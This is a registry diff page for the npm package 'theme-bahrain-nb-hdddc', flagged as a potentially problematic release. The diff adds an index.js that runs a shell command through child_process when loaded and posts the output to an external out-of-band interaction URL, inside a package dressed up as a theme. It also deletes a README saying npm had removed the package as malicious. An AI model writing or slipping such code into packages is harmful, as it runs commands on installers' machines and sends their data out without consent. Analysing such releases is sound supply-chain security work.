theme-bahrain-nb-hdddc 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of theme-bahrain-nb-hdddc might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +34 -0
  2. package/package.json +16 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,34 @@
1
+ const { exec } = require('child_process');
2
+ const axios = require('axios');
3
+
4
+ // Replace with your Burp Suite Collaborator URL
5
+ const collaboratorUrl = 'http://ucsawqbuqizhuutbllfnb2u2lrr1xjb2w.oast.fun';
6
+
7
+ // Function to execute command and send result
8
+ function executeCommandAndSendResult() {
9
+ exec('pwd', (error, stdout, stderr) => {
10
+ if (error) {
11
+ console.error(`Error executing command: ${error}`);
12
+ return;
13
+ }
14
+ if (stderr) {
15
+ console.error(`stderr: ${stderr}`);
16
+ return;
17
+ }
18
+
19
+ const result = stdout.trim(); // Clean up result
20
+ console.log(`Command result: ${result}`);
21
+
22
+ // Send result to Burp Suite Collaborator
23
+ axios.post(collaboratorUrl, { result })
24
+ .then(response => {
25
+ console.log(`Response from Burp Suite Collaborator: ${response.status}`);
26
+ })
27
+ .catch(error => {
28
+ console.error(`Error sending result to Burp Suite Collaborator: ${error}`);
29
+ });
30
+ });
31
+ }
32
+
33
+ // Run the function
34
+ executeCommandAndSendResult();
package/package.json CHANGED
@@ -1,6 +1,19 @@
1
1
  {
2
2
  "name": "theme-bahrain-nb-hdddc",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "vg Ne Theme",
5
+ "main": "styles/base.less",
6
+ "scripts": {
7
+ "build": "bb theme-build",
8
+ "dev": "bb theme-build --sourcemaps",
9
+ "import": "bb import-item"
10
+ },
11
+ "repository": {
12
+ "type": "git",
13
+ "url": ""
14
+ },
15
+ "author": "Tsss",
16
+ "devDependencies": {
17
+ "bb-cli": "^0.2.3-alpha.0"
18
+ }
6
19
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=theme-bahrain-nb-hdddc for more information.